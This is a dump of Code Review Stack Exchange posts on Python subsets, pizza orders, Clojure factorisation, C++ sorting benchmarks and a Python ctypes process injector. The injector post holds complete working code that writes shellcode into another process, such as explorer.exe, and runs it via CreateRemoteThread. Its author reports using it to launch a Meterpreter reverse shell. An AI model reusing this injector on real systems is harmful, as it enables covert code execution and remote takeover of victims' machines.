"body": "@A.Arh This answer https://codereview.stackexchange.com/a/257681/120556 has an example that has deliberately slowed down as a visualization, it handles about 16000+ tiles at a reasonable rate (though I can not remember how quick it was). 1000 tiles should be no problem."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T12:58:15.363",
"Id": "513895",
"Score": "0",
"body": "Thanks! I will take a look"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T01:23:53.650",
"Id": "260322",
"ParentId": "260252",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T10:45:49.583",
"Id": "260252",
"Score": "1",
"Tags": [
"javascript",
"performance"
],
"Title": "Dijkstra's algorithm is slow. (For loops)"
}
|
260252
|
<p>Given an array arr[] of integers of size N that might contain duplicates, the task is to find all possible unique subsets.</p>
<p>Link to the judge: <a href="https://practice.geeksforgeeks.org/problems/subsets-1587115621/1#" rel="nofollow noreferrer">LINK</a></p>
<p>Note: Each subset should be sorted.</p>
<p><strong>Example 1:</strong></p>
<pre><code>Input: N = 3, arr[] = {2,1,2}
Output:(),(1),(1 2),(1 2 2),(2),(2 2)
Explanation:
All possible subsets = (),(2),(1),(1,2),(2),(2,2),(2,1),(2,1,2)
After Sorting each subset = (),(2),(1),(1,2),(2),(2,2),(1,2),(1,2,2)
Unique Susbsets in Lexicographical order = (),(1),(1,2),(1,2,2),(2),(2,2)
</code></pre>
<p><strong>Example 2:</strong></p>
<pre><code>Input: N = 4, arr[] = {1,2,3,3}
Output: (),(1),(1 2),(1 2 3)
(1 2 3 3),(1 3),(1 3 3),(2),(2 3)
(2 3 3),(3),(3 3)
</code></pre>
<p><strong>My correct and working code:</strong></p>
<pre><code>class Solution:
def checkSetBits(self,num,arr):
pos = 0
res = []
while num != 0:
if num & 1 == 1:
res.append(arr[pos])
pos += 1
num = num >> 1
return res
def AllSubsets(self, arr,n):
arr = sorted(arr)
ans = []
N = 2**len(arr)
for i in range(N):
item = self.checkSetBits(i,arr)
ans.append(item)
# removing duplicate lists
ans = sorted(ans)
i = len(ans)-1
while i > -1:
if ans[i] == ans[i-1]:
ans.pop(i)
i -= 1
return ans
</code></pre>
<p><strong>My doubt :</strong></p>
<p>The required time complexity is <span class="math-container">\$O(2^N)\$</span> however according to me, my code's time complexity is <span class="math-container">\$O(2^N\log{N})\$</span> as the <code>for</code> loop runs <span class="math-container">\$2^N\$</span> times and inside that we are checking all the <span class="math-container">\$\log{N}\$</span> bits. Can I reduce the time complexity to <span class="math-container">\$2^N\$</span>? or is it not possible to reduce the time complexity while solving the problem using bitmasking?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T19:59:24.507",
"Id": "513938",
"Score": "0",
"body": "It's more like your algorithm is O(2^N * N^2)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T12:12:49.553",
"Id": "513994",
"Score": "0",
"body": "@Anatolii Why not the TC I said ? Can you elaborate please?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T12:34:30.783",
"Id": "513996",
"Score": "0",
"body": "Because your `ans = sorted(ans)` is O((2^n)*log(2^n)*(cost of a single compare operation)). Cost of a compare operation is O(n) because elements in `ans` are not single integers - they're lists. Hence, the total time complexity is O(2^n*n^2)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-07T00:58:15.763",
"Id": "514111",
"Score": "0",
"body": "Perhaps this would help: [subsets of a multiset](http://www.martinbroadhurst.com/subsets-of-a-multiset.html)."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T11:00:58.260",
"Id": "260253",
"Score": "1",
"Tags": [
"python",
"algorithm",
"python-3.x",
"bitwise"
],
"Title": "Generating Unique Subsets using Bitmasking"
}
|
260253
|
<p>To get some practice with the Windows API and <code>ctypes</code>, I decided to write a program capable of injecting and running shellcode inside of another specified process.</p>
<p>An example:</p>
<pre><code>C:\Users\Admin\Desktop>python inject.py -n explorer.exe -s shellcode.txt
Remote memory address: 0x40a0000
Remote thread created. Thread ID: 7960
Closed Proc Handle
</code></pre>
<p>This successfully runs the shellcode saved in <code>shellcode.txt</code> (a Meterpreter reverse shell) inside of <code>explorer.exe</code> in a new thread:</p>
<p><a href="https://i.stack.imgur.com/59hyy.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/59hyy.png" alt="TCP Connection" /></a></p>
<p><a href="https://i.stack.imgur.com/aOHSX.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/aOHSX.png" alt="Spawned Thread" /></a></p>
<p>It works by opening a handle to the target process, allocating some memory, writing the shellcode to that memory, then passing that memory address to <code>CreateRemoteThread</code>.</p>
<p>I'd like advice mainly on two things:</p>
<ul>
<li><p>The use of the Windows API: This is the first time I've ever used the API directly. I'd like to know if there's anything I'm doing wrong before I accidentally establish it as a habit.</p>
</li>
<li><p>The use of <code>ctypes</code>: I rarely ever use <code>ctypes</code>, and this is the most complicated case I've ever used it for.</p>
<ul>
<li><p>I'm creating many "typed aliases" of foreign calls using a helper:</p>
<pre><code>def typed_f(function_ptr, arg_types, return_type):
function_ptr.argtypes = arg_types
function_ptr.restype = return_type
return function_ptr
create_snapshot = typed_f(kernel32.CreateToolhelp32Snapshot,
[cw.DWORD, cw.DWORD],
cw.HANDLE)
</code></pre>
</li>
</ul>
<p>Is this typical? Is there a better pattern to achieve the same thing?</p>
</li>
</ul>
<p>It's in two parts: the <code>ctypes</code> wrappers, and then the code that uses the wrappers to do the process injection.</p>
<p><code>process_helpers.py</code>:</p>
<pre><code>import ctypes as c
import ctypes.wintypes as cw
from typing import Optional, Iterator
TH32CS_SNAPPROCESS = 0x2 # Get snapshot of all processes
MAX_PATH_LENGTH = 255
INVALID_HANDLE_VALUE = -1
kernel32: c.WinDLL = c.windll.kernel32
class PROCESSENTRY32(c.Structure):
_fields_ = [("dwSize", cw.DWORD),
("cntUsage", cw.DWORD),
("th32ProcessID", cw.DWORD),
("th32DefaultHeapID", cw.PULONG),
("th32ModuleID", cw.DWORD),
("cntThreads", cw.DWORD),
("th32ParentProcessID", cw.DWORD),
("pcPriClassBase", cw.LONG),
("dwFlags", cw.DWORD),
("szExeFile", cw.CHAR * MAX_PATH_LENGTH)]
LPPROCESSENTRY32 = c.POINTER(PROCESSENTRY32)
def typed_f(function_ptr, arg_types, return_type):
function_ptr.argtypes = arg_types
function_ptr.restype = return_type
return function_ptr
create_snapshot = typed_f(kernel32.CreateToolhelp32Snapshot,
[cw.DWORD, cw.DWORD],
cw.HANDLE)
first_process = typed_f(kernel32.Process32First,
[cw.HANDLE, LPPROCESSENTRY32],
c.c_bool)
next_process = typed_f(kernel32.Process32Next,
[cw.HANDLE, LPPROCESSENTRY32],
c.c_bool)
close_handle = typed_f(kernel32.CloseHandle,
[cw.HANDLE],
c.c_bool)
open_process = typed_f(kernel32.OpenProcess,
[cw.DWORD, c.c_bool, cw.DWORD],
cw.HANDLE)
remote_virtual_alloc = typed_f(kernel32.VirtualAllocEx,
[cw.HANDLE, cw.LPVOID, c.c_size_t, cw.DWORD, cw.DWORD],
cw.LPVOID)
remote_virtual_free = typed_f(kernel32.VirtualFree,
[cw.HANDLE, cw.LPVOID, c.c_size_t, cw.DWORD],
c.c_bool)
# Needed when modifying executable memory.
flush_instruction_cache = typed_f(kernel32.FlushInstructionCache,
[cw.HANDLE, cw.LPCVOID, c.c_size_t],
c.c_bool)
remote_write_memory = typed_f(kernel32.WriteProcessMemory,
[cw.HANDLE, cw.LPVOID, cw.LPCVOID, c.c_size_t, c.POINTER(c.c_size_t)],
c.c_bool)
# FIXME: The second parameter isn't really a void pointer, it's a SECURITY_ATTRIBUTES pointer, but I don't think
# we need it, and we'd need to define a custom Structure to specify it.
# FIXME: The same goes for the fourth parameter. It's not actually a void pointer; it's a LPTHREAD_START_ROUTINE, which
# is a pointer to a function that takes a LPVOID (a pointer to a paramater struct), and returns a DWORD.
remote_thread_create = typed_f(kernel32.CreateRemoteThread,
[cw.HANDLE, cw.LPVOID, c.c_size_t, cw.LPVOID, cw.LPVOID, cw.DWORD, cw.LPDWORD],
cw.HANDLE)
def create_process_snapshot() -> cw.HANDLE:
return create_snapshot(TH32CS_SNAPPROCESS, -1)
def list_processes() -> Optional[list[PROCESSENTRY32]]:
"""Returns a list of information about all active processes at the time the call is made, or
None if a snapshot couldn't be taken."""
snapshot = create_process_snapshot()
if snapshot == INVALID_HANDLE_VALUE:
return None
try:
proc_entry = PROCESSENTRY32()
proc_entry.dwSize = c.sizeof(PROCESSENTRY32)
read_success = first_process(snapshot, c.byref(proc_entry))
entries = []
while True:
if read_success:
entry_copy = PROCESSENTRY32()
c.memmove(c.byref(entry_copy), c.byref(proc_entry), proc_entry.dwSize)
entries.append(entry_copy)
else:
break
read_success = next_process(snapshot, c.byref(proc_entry))
finally:
close_handle(snapshot)
return entries
def get_process_ids(process_name: bytes) -> Iterator[int]:
"""Returns all process IDs at the time of calling, or nothing if a list of processes couldn't be obtained."""
processes = list_processes()
if processes is None:
return
for proc in processes:
if proc.szExeFile == process_name:
yield proc.th32ProcessID
def formatted_last_error(task_message: str) -> str:
return f"Failed to {task_message}. Error: {kernel32.GetLastError()}"
</code></pre>
<p><code>inject.py</code></p>
<pre><code>import ctypes as c
import ctypes.wintypes as cw
from argparse import ArgumentParser
from os import fsencode
import process_helpers as ph
# The permissions required to create a thread and write to the enclosing process' memory.
PROCESS_CREATE_THREAD = 0x2
PROCESS_VM_OPERATION = 0x8
PROCESS_VM_WRITE = 0x20
PROCESS_VM_READ = 0x10
PROCESS_QUERY_INFORMATION = 0x400
REQUIRED_RIGHTS_TO_INJECT = PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION \
| PROCESS_VM_WRITE | PROCESS_VM_READ
PAGE_EXECUTE_READWRITE = 0x40
MEM_COMMIT = 0x1000
MEM_RELEASE = 0x8000
START_RUNNING = 0x0
def open_process_for_injection(pid: int) -> cw.HANDLE:
proc_handle = ph.open_process(REQUIRED_RIGHTS_TO_INJECT, False, pid)
if proc_handle is None:
raise RuntimeError(ph.formatted_last_error("open process"))
else:
return proc_handle
def write_shellcode_to_process(process_handle: cw.HANDLE, shellcode: bytes) -> cw.LPVOID:
shellcode_length = len(shellcode)
# Allocate memory to write the shellcode to.
remote_memory_addr = ph.remote_virtual_alloc(process_handle, None, shellcode_length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
if remote_memory_addr is None:
raise RuntimeError(ph.formatted_last_error("allocate memory"))
else:
print("Remote memory address:", hex(remote_memory_addr))
# TODO: Check for how much was written? Do we care?
write_result = ph.remote_write_memory(process_handle, remote_memory_addr, shellcode, shellcode_length, None)
if write_result:
ph.flush_instruction_cache(process_handle, remote_memory_addr, shellcode_length)
return remote_memory_addr
else:
raise RuntimeError(ph.formatted_last_error("write shellcode"))
def start_remote_thread(process_handle: cw.HANDLE, shellcode_address: cw.LPVOID) -> None:
thread_id = cw.DWORD()
thread_id_ptr = c.byref(thread_id)
thread_handle = ph.remote_thread_create(process_handle,
None, # Default security
0, # Default stack size
shellcode_address,
None, # No argument to pass
START_RUNNING,
thread_id_ptr)
if thread_handle is None:
raise RuntimeError(ph.formatted_last_error("start thread"))
else:
print("Remote thread created. Thread ID:", thread_id.value)
def inject_code(target_process_pid: int, shellcode: bytes) -> None:
# Get a handle to the process so we can create a remote thread and write to it.
proc_handle = open_process_for_injection(target_process_pid)
try:
shellcode_ptr = write_shellcode_to_process(proc_handle, shellcode)
start_remote_thread(proc_handle, shellcode_ptr)
# TODO: Currently leaking memory.
finally:
ph.close_handle(proc_handle)
print("Closed Proc Handle")
def main():
parser = ArgumentParser()
parser.add_argument("-n", "--name",
help="Name of the process to inject into.")
parser.add_argument("-s", "--shellcode",
help="The path to the shellcode to inject.")
args = parser.parse_args()
with open(args.shellcode, "rb") as f:
shellcode = f.read()
# A bit of an abuse of the function, but it reverses the decoding does to command-line arguments, since we need bytes.
proc_name = fsencode(args.name)
pids = ph.get_process_ids(proc_name)
first_pid = next(pids, None)
if first_pid is None:
raise ValueError(f"Process {args.name} not found!")
else:
inject_code(first_pid, shellcode)
if __name__ == "__main__":
main()
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T14:46:43.377",
"Id": "513730",
"Score": "0",
"body": "Thanks for the reminder that `next` accepts a default argument - that's handy"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T15:05:14.330",
"Id": "513733",
"Score": "0",
"body": "@Reinderien Ya, it's great. It's like `iter`s second argument: not frequently needed, but super handy."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T13:54:34.857",
"Id": "260257",
"Score": "4",
"Tags": [
"python",
"python-3.x",
"windows"
],
"Title": "Process Injector using ctypes and the Windows API"
}
|
260257
|
<p>Is there any room for improvements in this code. I am new to programming (python3), learning and practicing functions related to arguments recently.</p>
<pre><code>def make_pizza(*toppings, **pizza_info):
"""Creating a dictionary for pizza information"""
pizza = {}
pizza_toppings = [topping for topping in toppings]
pizza['toppings'] = pizza_toppings
for key, value in pizza_info.items():
pizza[key] = value
return pizza
def show_pizza(pizza):
"""Showing the order with the information provided by make_pizza() function."""
print("You've ordered " + str(pizza['size']) + " inches size " + pizza[
'crust'].title() + " crust pizza with the toppings of:")
for topping in pizza['toppings']:
print("-" + topping.title())
# Taking order in a form of dictionary structure
order = make_pizza('cheese', 'mushroom', size=12, crust='thin')
# Show the order message
show_pizza(order)
</code></pre>
|
[] |
[
{
"body": "<p>You can use standard copy functions instead of manually copying:</p>\n<pre><code>from copy import copy\n\ndef make_pizza(*toppings, **pizza_info):\n pizza = pizza_info.copy()\n pizza['toppings'] = copy(toppings) \n return pizza\n</code></pre>\n<p>And maybe use a dict-comprehension for merging information, instead of mutating the pizza:</p>\n<pre><code>def make_pizza(*toppings, **pizza_info):\n return {\n **pizza_info,\n 'toppings': copy(toppings) \n }\n</code></pre>\n<p>For printing, use f-strings for easier formatting:</p>\n<pre><code>print(f"You've ordered {pizza['size']} inches size {pizza[\n 'crust'].title()} crust pizza with the toppings of:")\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T07:06:20.843",
"Id": "513786",
"Score": "0",
"body": "Thank you for your guidance. I gained a lot of insight from this. Gotta apply those practise real quick. :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T05:16:12.463",
"Id": "513853",
"Score": "1",
"body": "Maybe I answered too fast. Please note that:\n\n- the copy function will give you the same type as the input you give it, so you will end up with a tuple for toppings, not a list (which might be as fine)\n- the copies here are actually not needed, as *args and **kwargs are already created anew when the function is called\n- the copies are only shallow. It makes no difference when the contents are only strings, as these are immutable, but if you had anything mutable it could cause trouble\n- but if you avoid mutating anything in your programs, this will not be a problem"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T10:38:17.087",
"Id": "514056",
"Score": "0",
"body": "Thank you so much for giving me such efforts and being considerate about my codes. I will keep on working on your suggestions. Big thanks to you. :)"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T15:15:26.447",
"Id": "260260",
"ParentId": "260258",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T14:27:43.980",
"Id": "260258",
"Score": "2",
"Tags": [
"python",
"python-3.x"
],
"Title": "Pizza ordering system"
}
|
260258
|
<p>I've started learning Clojure a few days ago and I wrote this code that factorises numbers. How do I make it better? Is there any way to avoid doing it with a loop? Is that how I am supposed to code in Clojure?</p>
<pre><code>(defn classify [n]
(loop [n n
i 2
f []]
(cond
(= n i) (conj f i)
(= (mod n i) 0) (recur (/ n i) 2 (conj f i))
:else (recur n (inc i) f))))
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T17:35:02.847",
"Id": "513747",
"Score": "0",
"body": "This is functional. `loop` is the functional way to \"loop\" in Clojure. `doseq` for example would be the \"bad\", imperative way of doing things."
}
] |
[
{
"body": "<p>Maybe a slightly more functional way to express your algorithm is ...</p>\n<pre><code>(defn classify [n]\n (letfn [(factors-from [i from]\n (cond\n (= i 1) '()\n (zero? (mod i from)) (cons from (factors-from (quot i from) from))\n :else (recur i (inc from))))]\n (factors-from n 2)))\n</code></pre>\n<ul>\n<li>The local function <code>factors-from</code> plays the role of the <code>loop</code>.</li>\n<li>The recursive call when we have found a factor saves us carrying the\nsequence of factors as a parameter.</li>\n<li>We use <code>quot</code> instead of <code>/</code> for the division, since it is simpler.</li>\n<li>The terminal case is <code>1</code>instead of <code>from</code>. This gives the correct\nanswer of an empty factor list when <code>n</code> is <code>1</code>.</li>\n<li>The normal case, when we don't find a factor, is a straight tail\nrecursion, hence can be a <code>recur</code>.</li>\n</ul>\n<p>There is no danger of running out of stack space, since the smallest number that could do so is about 2^10000, far beyond anything long arithmetic could deal with.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T09:52:00.190",
"Id": "513881",
"Score": "0",
"body": "Thank you! I can learn a lot by reading this code and trying out the functions you used."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T20:09:12.590",
"Id": "260271",
"ParentId": "260266",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T16:37:59.563",
"Id": "260266",
"Score": "-1",
"Tags": [
"functional-programming",
"clojure"
],
"Title": "Factorise numbers"
}
|
260266
|
<p><strong>Hey Guys</strong>,<br>
I'm in the process of building a console program in C ++ that allows users to:</p>
<ul>
<li>sort a sequence of numbers loaded from a TXT file</li>
<li>save sorted sequence in a new TXT file</li>
<li>measure the sorting time for individual algorithm</li>
</ul>
<p>I decided to write such a program because I want to learn algorithms, how different sorting algorithms work and I was curious how efficient/fast each individual algorithm is. <br><br>
<strong>At the moment I have implemented</strong></p>
<ul>
<li>Bubble Sort</li>
<li>Insertion Sort</li>
<li>IntroSort (from C++ STD)</li>
<li>Selection Sort</li>
<li>Merge Sort</li>
<li>Quicksort</li>
</ul>
<br>
<p><strong>This is a sample output of the program</strong></p>
<pre><code> [Bubble Sort] Took: 77817989 µs (77817.989 ms) (77s) to sort 100000 numbers
[Insertion Sort] Took: 24974911 µs (24974.911 ms) (24s) to sort 100000 numbers
[STD Sort] Took: 33990 µs (33.990 ms) (0s) to sort 100000 numbers
[Selection Sort] Took: 20961005 µs (20961.005 ms) (20s) to sort 100000 numbers
[Merge Sort] Took: 364995 µs (364.995 ms) (0s) to sort 100000 numbers
[Quicksort] Took: 25993 µs (25.993 ms) (0s) to sort 100000 numbers
</code></pre>
<br>
<p><strong>Okay, end of story about the project, I have a few questions for experienced programmers</strong></p>
<ol>
<li>Could anyone do some little code review please?<br>I wonder if I have built the project structure correctly. What could be changed in the code. What is coded incorrectly. What bad practices have I committed. e.t.c</li>
<li>I wonder if the measurement results are reliable in any way. How the system speed or the order in which the sorting function is called affects the results</li>
<li>I plan to implement even more sorting algorithms. In your opinion, what other features could I add to make the project more interesting and to impress the future employer?</li>
<li>And one last thing. What is your honest opinion about this project?</li>
</ol>
<p><strong>Thank you very much in advance for any help</strong></p>
<hr />
<p><code>main.cpp</code></p>
<pre class="lang-cpp prettyprint-override"><code>#include <iostream>
#include "sorter.h"
int main() {
Sorter s;
s.load_numbers("nums.txt");
s.run_bubble_sort();
s.run_insertion_sort();
s.run_std_sort();
s.run_selection_sort();
s.run_merge_sort();
s.run_quicksort();
return 0;
}
</code></pre>
<p><code>timer.h</code></p>
<pre class="lang-cpp prettyprint-override"><code>#include <chrono>
#include <string>
class Timer {
public:
Timer(std::string sorting_alg, int num_quantity);
~Timer();
private:
std::chrono::time_point<std::chrono::high_resolution_clock> _startTimepoint;
std::string _algorythm;
int _quantity;
void _stop_timer();
};
</code></pre>
<p><code>timer.cpp</code></p>
<pre class="lang-cpp prettyprint-override"><code>#include <iostream>
#include <string>
#include "timer.h"
Timer::Timer(std::string sorting_alg, int num_quantity) {
_startTimepoint = std::chrono::high_resolution_clock::now();
_algorythm = sorting_alg;
_quantity = num_quantity;
}
void Timer::_stop_timer() {
auto endTimepoint = std::chrono::high_resolution_clock::now();
auto start = std::chrono::time_point_cast<std::chrono::microseconds>(_startTimepoint).time_since_epoch().count();
auto end = std::chrono::time_point_cast<std::chrono::microseconds>(endTimepoint).time_since_epoch().count();
auto duration = end - start;
double miliseconds = duration * 0.001;
int seconds = miliseconds * 0.001;
// Just remove three 0's from ms number
std::string in_miliseconds = " (" + std::to_string(miliseconds).substr(0,(std::to_string(miliseconds).length() - 3)) + " ms)";
std::cout.width(16);
std::cout << "[" + _algorythm + "]";
std::cout.width(7);
std::cout << " Took:";
std::cout.width(10);
std::cout << duration;
std::cout.width(2);
std::cout << " \xE6s";
std::cout.width(17);
std::cout << in_miliseconds;
std::cout.width(6);
std::cout << " (" + std::to_string(seconds) + "s)";
std::cout.width(20);
std::cout << " to sort " + std::to_string(_quantity) + " numbers\n";
}
Timer::~Timer() {
_stop_timer();
}
</code></pre>
<p><code>sorter.h</code></p>
<pre class="lang-cpp prettyprint-override"><code>#pragma once
#include <vector>
class Sorter {
public:
void load_numbers(std::string filename);
void run_bubble_sort(std::string output_filename = "sorted_bubble_sort.txt");
void run_insertion_sort(std::string output_filename = "sorted_insertion_sort.txt");
void run_std_sort(std::string output_filename = "sorted_std_sort.txt");
void run_selection_sort(std::string output_filename = "sorted_selection_sort.txt");
void run_merge_sort(std::string output_filename = "sorted_merge_sort.txt");
void run_quicksort(std::string output_filename = "sorted_quicksort_sort.txt");
private:
std::vector<int> _unsorted;
std::vector<int> _sorted;
// For Merge Sort
std::vector<int> _merge(std::vector<int> L, std::vector<int> R);
std::vector<int> _mergeSort(std::vector<int> to_sort);
// For Quicksort
int _partition(std::vector<int> &arr, int from, int to);
void _quicksort(std::vector<int> &arr, int from, int to);
void _save_numbers_to_file(std::string output_filename);
void _swap(int *left, int *right);
void _die(const std::string& err_msg);
};
</code></pre>
<p><code>sorter.cpp</code></p>
<pre class="lang-cpp prettyprint-override"><code>#include <fstream>
#include <iostream>
#include <algorithm>
#include "sorter.h"
#include "timer.h"
void Sorter::load_numbers(std::string filename) {
/*
* Reads numbers from file and saves them to _unsorted vector
*
* :param filename: filename to read numbers from
*/
std::ifstream nums_file (filename);
int curr_num;
_unsorted.clear();
while (nums_file >> curr_num) {
// Add numbers from file to an array
//std::cout << curr_num << ", ";
_unsorted.push_back(curr_num);
}
nums_file.close();
}
void Sorter::run_bubble_sort(std::string output_filename) {
/*
* Sorts an array with Bubble Sort algorithm
*
* :param output_filename: file name with sorted numbers
*/
// Check if numbers were loaded from file
if (_unsorted.empty() == true) {
_die("Error: No numbers loaded.");
}
const int numbers_count = _unsorted.size();
_sorted.clear();
_sorted.insert(_sorted.end(), _unsorted.begin(), _unsorted.end());
{
// Start timer
Timer t("Bubble Sort", numbers_count);
bool swapped = false;
for (int i = 0; i < numbers_count - 1; i++) {
swapped = false;
for (int j = 0; j < numbers_count - i - 1; j++) {
if (_sorted[j] > _sorted[j+1]) {
// Swap places
_swap(&_sorted[j], &_sorted[j+1]);
swapped = true;
}
}
if (swapped == false) {
// Array sorted
break;
}
}
}
_save_numbers_to_file(output_filename);
}
void Sorter::run_insertion_sort(std::string output_filename) {
/*
* Sorts an array with Insertion Sort algorithm
*
* :param output_filename: file name with sorted numbers
*/
// Check if numbers were loaded from file
if (_unsorted.empty() == true) {
_die("Error: No numbers loaded.");
}
const int numbers_count = _unsorted.size();
_sorted.clear();
_sorted.insert(_sorted.end(), _unsorted.begin(), _unsorted.end());
{
// Start timer
Timer t("Insertion Sort", numbers_count);
for (int i = 1; i < numbers_count; i++) {
int curr = _sorted[i];
int j = i - 1;
// Shift each element to the right
while(j >= 0 && _sorted[j] > curr) {
_sorted[j+1] = _sorted[j];
j--;
}
_sorted[j+1] = curr;
}
}
_save_numbers_to_file(output_filename);
}
void Sorter::run_std_sort(std::string output_filename) {
/*
* Sorts an array with sort() function from
* C++ Standard Library - from <algorithm> header
*
* :param output_filename: file name with sorted numbers
*/
// Check if numbers were loaded from file
if (_unsorted.empty() == true) {
_die("Error: No numbers loaded.");
}
const int numbers_count = _unsorted.size();
_sorted.clear();
_sorted.insert(_sorted.end(), _unsorted.begin(), _unsorted.end());
{
Timer t("STD Sort", numbers_count);
std::sort(_sorted.begin(), _sorted.end());
}
_save_numbers_to_file(output_filename);
}
void Sorter::run_selection_sort(std::string output_filename) {
/*
* Sorts an array with Selection Sort algorithm
*
* :param output_filename: file name with sorted numbers
*/
// Check if numbers were loaded from file
if (_unsorted.empty() == true) {
_die("Error: No numbers loaded.");
}
const int numbers_count = _unsorted.size();
_sorted.clear();
_sorted.insert(_sorted.end(), _unsorted.begin(), _unsorted.end());
int min;
int min_index;
{
Timer t("Selection Sort", numbers_count);
for (int i = 0; i < numbers_count; i++) {
min = _sorted[i];
min_index = i;
for(int j = i; j < numbers_count; j++) {
if (_sorted[j] < min) {
// we have new min
min = _sorted[j];
min_index = j;
}
}
_swap(&_sorted[i], &_sorted[min_index]);
}
}
_save_numbers_to_file(output_filename);
}
void Sorter::run_merge_sort(std::string output_filename) {
/*
* Runs Merge Sort algorithm
*
* :param output_filename: file name with sorted numbers
*/
// Check if numbers were loaded from file
if (_unsorted.empty() == true) {
_die("Error: No numbers loaded.");
}
const int numbers_count = _unsorted.size();
_sorted.clear();
_sorted.insert(_sorted.end(), _unsorted.begin(), _unsorted.end());
{
Timer t("Merge Sort", numbers_count);
_sorted = _mergeSort(_sorted);
}
_save_numbers_to_file(output_filename);
}
std::vector<int> Sorter::_merge(std::vector<int> L, std::vector<int> R) {
/*
* [Helper function for _mergeSort]
* Merges two sorted arrays into one sorted array
*
* :param L: first (half) array
* :param R: second (half) array
* :return: merged array as vector
*/
std::vector<int> merged;
int L_i = 0; // Index of smallest unpicked num in L
int R_i = 0; // Index of smallest unpicked num in R
// Fill merged array with elements from L and R
while(L_i < L.size() && R_i < R.size()) {
if (L[L_i] <= R[R_i]) {
// Get val from Left arr and insert into merged
merged.push_back(L[L_i]);
L_i++;
} else {
// Get val from right arr and insert into merged
merged.push_back(R[R_i]);
R_i++;
}
}
// If all values from right arr were inserted (into merged),
// Take left arr and insert it's values to merged
while(L_i < L.size()) {
merged.push_back(L[L_i]);
L_i++;
}
// If all values from left arr were inserted (into merged),
// Take right arr and insert it's values to merged
while(R_i < R.size()) {
merged.push_back(R[R_i]);
R_i++;
}
return merged;
}
std::vector<int> Sorter::_mergeSort(std::vector<int> to_sort) {
/*
* Sorts an array with Merge Sort algorithm
*
* :param to_sort: array to be sorted
* :return: sorted array as vector
*/
if (to_sort.size() <= 1) {
return to_sort;
}
std::vector<int> left;
std::vector<int> right;
// Divide to_sort into 2 halfs
// Fill left array with first half and
// right array with second half
for (int i = 0; i < to_sort.size(); i++) {
if (i < to_sort.size() / 2) {
left.push_back(to_sort[i]);
} else {
right.push_back(to_sort[i]);
}
}
// Recursion
left = _mergeSort(left);
right = _mergeSort(right);
// Return final, sorted array
return _merge(left, right);
}
void Sorter::run_quicksort(std::string output_filename) {
/*
* Runs Quicksort algorithm
*
* :param output_filename: file name with sorted numbers
*/
// Check if numbers were loaded from file
if (_unsorted.empty() == true) {
_die("Error: No numbers loaded.");
}
const int numbers_count = _unsorted.size();
_sorted.clear();
_sorted.insert(_sorted.end(), _unsorted.begin(), _unsorted.end());
{
Timer t("Quicksort", numbers_count);
_quicksort(_sorted, 0, _sorted.size() - 1);
}
_save_numbers_to_file(output_filename);
}
int Sorter::_partition(std::vector<int> &arr, int from, int to) {
/*
* Helper function for quicksort algorithm
* Sets pivot to last element of array
* Places pivot at its correct position so that
* all smaller values are on the left side
* and greater values are on the right side
* (of the pivot)
*
* :param arr: array to be sorted
* :param from: lowest index of array
* :param to: highest index of array
*/
int pivot = arr[to]; // Set the last element as pivot
int i = from - 1;
for (int j = from; j <= to - 1; j++) {
if (arr[j] < pivot) {
i++;
_swap(&arr[i], &arr[j]);
}
}
// The final postition of pivot as (i + 1)
_swap(&arr[i + 1], &arr[to]);
// Return position of pivot
return (i + 1);
}
void Sorter::_quicksort(std::vector<int> &arr, int from, int to) {
/*
* Sorts an array with Quicksort algorithm
*
* :param arr: array to be sorted
* :param from: lowest index of array
* :param to: highest index of array
*/
if (from < to) {
int p_i = _partition(arr, from , to); // Partitioning index
_quicksort(arr, from, p_i - 1); // Left side
_quicksort(arr, p_i + 1, to); // Right side
}
}
void Sorter::_swap(int *left, int *right) {
/*
* Swaps two number in an array
*
* :param *left: pointer to first number location
* :param *right: pointer to second number location
*/
int temp = *left;
*left = *right;
*right = temp;
}
void Sorter::_save_numbers_to_file(std::string output_filename) {
/*
* Saves sorted array into a file
*
* :param output_filename: file name with sorted numbers
*/
std::ofstream output_file (output_filename);
for (int i = 0; i < _sorted.size(); i++) {
output_file << _sorted[i];
if (i != _sorted.size() - 1) {
output_file << ", ";
}
}
output_file.close();
}
void Sorter::_die(const std::string& err_msg)
{
/*
* Outputs error message on standard error output stream
* and exits program
*
